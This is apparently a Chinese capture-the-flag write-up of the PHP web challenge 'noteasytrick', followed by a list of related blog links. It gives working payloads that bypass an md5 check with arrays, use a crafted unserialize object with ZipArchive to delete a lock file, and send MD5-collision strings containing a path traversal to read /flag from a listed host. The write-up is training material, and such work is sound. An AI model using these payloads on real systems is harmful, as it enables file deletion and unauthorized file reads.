ctf-WEB-noteasytrick
题目链接:跳转提示
打开网址,可以直接看到网页链接:
<?php
error_reporting(0);
ini_set("display_errors","Off");
class Jesen {public $filename;public $content;public $me;function __wakeup(){$this->me = new Ctf();}function __destruct() {$this->me->open($this->filename,$this->content);}
}class Ctf {function __toString() {return "die";}function open($filename, $content){if(!file_get_contents("./sandbox/lock.lock")){echo file_get_contents(substr($_POST['b'],0,30));die();}else{file_put_contents("./sandbox/".md5($filename.time()),$content);die("or you can guess the final filename?"); }}
}if(!isset($_POST['a'])){highlight_file(__FILE__);die();
}else{if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))){unserialize($_POST['c']);}}
代码分析,需要绕过两个判断条件,第一个需要a不等于b,但a与b的MD5一样,因为md5()函数无法处理数组,只要使a与b是两个不同的数组,md5(a)与md5(b)都返回0,则等号成立;
第二个判断条件,输入http://114.67.175.224:12378/sandbox/lock.lock,可以发现该文件存在,当./sandbox/lock.lock文件不存在时,就可以利用file_get_contents()输出/flag里的内容
要想办法删除文件,可以利用php内置类ZipArchive,这是一个专门用于文件压缩和解压缩的类,刚好他的open函数open(filename,8),会删除相应文件,其序列化内容:O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}
因此payload: a[]=[1]&b[]=[2]&c=O:5:"Jesen":4:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}(这里需要输入错误的Jesen属性数,以绕过wakeup函数)
输入网址查询http://114.67.175.224:12378/sandbox/lock.lock,发现文件不存在
利用fastcoll生成两个相同的MD5码的a和b,并保证b的前30字符是flag路径:
payload:
a=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%FEv%CA%A8%12%C1W%8BA%26Y%81%98h%CF%09%BC%AF%C2%F7%F1%F8%D2%06%2Fvyv%2B%96.%B2%D8%EA%C6%EB%ECj%15%F9%0B%06OT%92%91T%FB%A4%C3V%29%E6%83%84%26J%D9O%81%D9%7F%06%EC%DB1%B7%84%E8%16%A5%09%90VC%F4W%98%D5%AD%88%F2.%A7%0D%C8%7C%EE%24e%21%27%CC%B7%DD%CDU%2F%7E%28%D3%95%A1%A5%CE%86%D9%29%8E%C0j%7F%F9%14%D8%9Fu%C9C%F3y%9BQ%F1%7C%1D%DD%AD&b=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%FEv%CA%A8%12%C1W%8BA%26Y%81%98h%CF%09%BC%AF%C2w%F1%F8%D2%06%2Fvyv%2B%96.%B2%D8%EA%C6%EB%ECj%15%F9%0B%06OT%92%11U%FB%A4%C3V%29%E6%83%84%26J%D9O%01%D9%7F%06%EC%DB1%B7%84%E8%16%A5%09%90VC%F4W%98%D5%AD%88%F2.%27%0D%C8%7C%EE%24e%21%27%CC%B7%DD%CDU%2F%7E%28%D3%95%A1%A5%CE%86%D9%29%8E%40j%7F%F9%14%D8%9Fu%C9C%F3y%9BQq%7C%1D%DD%AD&c=O:5:"Jesen":3:{s:8:"filename";N;s:7:"content";N;s:2:"me";N;}
得到结果
(不能直接复制生成的文章内容进行加密,因为编码不一样)
ctf-WEB-noteasytrick相关推荐
- ctf web必备工具_设计人员和开发人员的必备Web工具和服务
ctf web必备工具 I cannot imagine that in 2018 there are people who don't use daily several web tools and ...
- CTF Web入门 命令执行 笔记
CTF Web入门 命令执行 eval(读取命令),但各种字符被ban if(!pregmatch("...",$c)) #指过滤了...eval($c); 这时候可以尝试 ?c= ...
- CTF Web方向考点总结
CTF Web 0X00 前言 做题已经快四个月了,接触了大大小小的题型,收藏的大师傅们的解题思路.题型总结的博客已经很多了,每次都要一个一个翻很麻烦,于是写下了这一个总结,实际上是把各大博客内容汇总 ...
- CTF——web个人总结
CTF web个人总结 仅供个人参考 从0开始接触到了CTF,算是入门了,为了方便自己做题,现在记录一下web类型题目的解题思路. 目录 CTF web个人总结 工具(含后渗透) 解题思路 一.普通思 ...
- CTF Web学习(三)----python脚本的编写及应用
CTF Web学习(三) python脚本的编写及应用 CTF Web学习目录链接 CTF Web学习(一):基础篇及头文件修改.隐藏 CTF Web学习(二):代码审计.burp suite应用 C ...
- 从0到1学习CTF WEB
从0到1学习CTF WEB web前置技能 信息泄漏 密码口令 SQL注入 基础比较薄弱,准备逐题刷CTFHub的web类型题目顺便学习一下web方面的安全知识. web前置技能 1.请求方式: 隐藏 ...
- CTF——Web网站备份源码泄露
CTF--Web网站备份源码泄露 当遇到提示说到备份时,应该敏感地想到这是需要用到网站备份文件源码的. 一般这类题是和代码审计一起出的,一般都是需要获取到备份文件然后进行分析.下面就介绍一下网站备份的 ...
- BugKu CTF Web
BugKu CTF Web 滑稽 计算器 GET POST Simple_SSTI_1 矛盾 eval 变量1 Simple_SSTI_2 alert 你必须让他停下 方法一 方法二 方法三 网站被黑 ...
- CG CTF WEB SQL注入2
http://4.chinalover.sinaapp.com/web6/index.php 题解: <html> <head> Secure Web Login II < ...
- CG CTF WEB SQL注入1
http://chinalover.sinaapp.com/index.php 题解: <html> <head> Secure Web Login </head> ...
最新文章
- .NET项目开发的几个非常重要的项目设置
- javaScript 的小技巧
- java 判断日期是同一天_如何检查Java中的两个日期是否在同一天
- 【今晚七点半】:对话平行未来姜雨晴——重启熊猫直播背后的故事
- PowerBI 2019.12更新完美收官2019
- [功能发布]Excel催化剂地图可视化功能正式发布,欢迎使用!
- Springsecurity之AuthenticationProvider
- 背单词软件 单词风暴 分享id_周一考研高效背单词系列(一):利用单词软件如何背好单词...
- 牛客 牛牛爱喝酒(模拟)
- 5.3命名socket
- WebService—实现接口发布和客户端调用的几种方式
- jenkins连接Linux
- 张一鸣在字节跳动7周年庆典上的演讲
- 分享几个常用的国外英文论文文献数据库,先收藏再说
- 用MATLAB实现对运动物体识别与跟踪
- js邮箱+手机 格式校验
- 算法题/青蛙跳台阶问题
- K12在线教育平台的产品需求
- 李迟2022年6月工作生活总结
- 提供有效的绩效评估